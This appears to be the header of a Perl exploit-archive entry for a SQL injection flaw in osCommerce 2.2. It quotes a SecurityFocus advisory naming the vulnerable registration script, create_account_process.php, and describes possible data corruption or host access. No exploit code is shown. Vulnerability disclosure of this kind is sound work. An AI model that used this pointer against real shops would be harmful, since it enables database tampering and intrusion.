osCommerce 2.2 - SQL Injection

#!/usr/bin/perl
#source: https://www.securityfocus.com/bid/9211/info
#
#It has been reported that one of the scripts included with osCommerce fails to validate user-supplied input, rendering it vulnerable to a SQL injection attack. The script in question is used to verify account details during the new user registration process and has the filename "create_account_process.php". It may be possible for attackers to manipulate the query to corrupt data in the database or, possibly, gain access on the underlying host (through, for example, stored procedures or vulnerabilities in the database server).
